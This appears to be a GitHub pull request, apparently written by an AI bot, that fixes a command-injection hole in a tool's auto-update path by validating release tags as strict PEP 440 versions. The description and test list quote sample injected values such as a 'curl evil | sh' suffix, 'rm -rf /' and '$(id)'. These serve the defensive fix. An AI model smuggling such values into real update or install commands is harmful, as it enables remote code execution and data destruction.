fix(update): validate fetched release version as strict PEP 440 (GHSA-x6cx, code-only)#462
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`_fetch_kbagent_latest_version` validated the GitHub release tag with
`re.match(r"\d+\.\d+\.\d+", version)`, which is anchored at the start but NOT
the end. An adversarial release tag like `v0.99.0; curl evil | sh` passed on
its `0.99.0` prefix and flowed into `resolve_kbagent_wheel_url` /
`build_kbagent_upgrade_command` (the auto-update install command). Replace the
loose prefix match with strict `packaging.version.Version()` validation
(already a dependency; the --beta prerelease path already used it). Same fix
applied to `_fetch_mcp_latest_version` (PyPI -> MCP upgrade command) as
defense-in-depth. `lstrip("v")` -> `removeprefix("v")` (strip exactly one v).
Code-only (no version bump / changelog) to stay conflict-free against the
rapid main release cadence; version + changelog added at next release.
Private advisory GHSA-x6cx-93j8-pgwj.
![devin-ai-integration[bot]](https://avatars.githubusercontent.com/in/811515?s=60&v=4){kind=small}
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Summary
Fixes M10 from the 2026-06-12 security audit (private advisory GHSA-x6cx-93j8-pgwj) — a non-end-anchored version regex in the auto-update path.
_fetch_kbagent_latest_versionvalidated the GitHub/releases/latesttag_namewithre.match(r"\d+\.\d+\.\d+", version).re.matchanchors at the start but not the end, so an adversarial release tag likev0.99.0; curl evil | shmatched on its0.99.0prefix and was returned — then flowed intoresolve_kbagent_wheel_url/build_kbagent_upgrade_command, i.e. the auto-update install command/URL.Fix
Replace the loose prefix match with strict
packaging.version.Version()validation (already a dependency, and the--betaprerelease path_fetch_kbagent_latest_prereleasealready used it). A string that doesn't parse as clean PEP 440 — anything with shell metacharacters, spaces, slashes, etc. — is now rejected and the update is skipped.lstrip("v")→removeprefix("v")(strip exactly one leadingv, not a char-set).Applied the same fix to
_fetch_mcp_latest_version(the PyPI version that feeds the MCP upgrade command) as defense-in-depth — PyPI already enforces PEP 440, but the install-path validation should not rely on that.Tests
TestFetchKbagentLatestVersion: rejects 6 adversarial tags (; curl … | sh,&& rm -rf /,/../../x,$(id), trailing garbage,vgarbage); accepts stable + beta (v0.65.1,v0.43.0b1, bare0.65.2).TestFetchMcpLatestVersion: rejects malformed PyPI versions. AllVersion()rejections empirically confirmed. Full suite green: 4180 passed, 135 skipped; lint/format/tyclean.Touches only
version_service.py+test_version_service.py— no version bump / changelog (added at next release). Same conflict-immunity rationale as #422 / #460 / #461.Audit progress
Last MEDIUM after this: M7 (silent plaintext-on-encrypt write — 3 services), in a separate PR. Then only the M1/M5 residuals remain (both owner-accepted).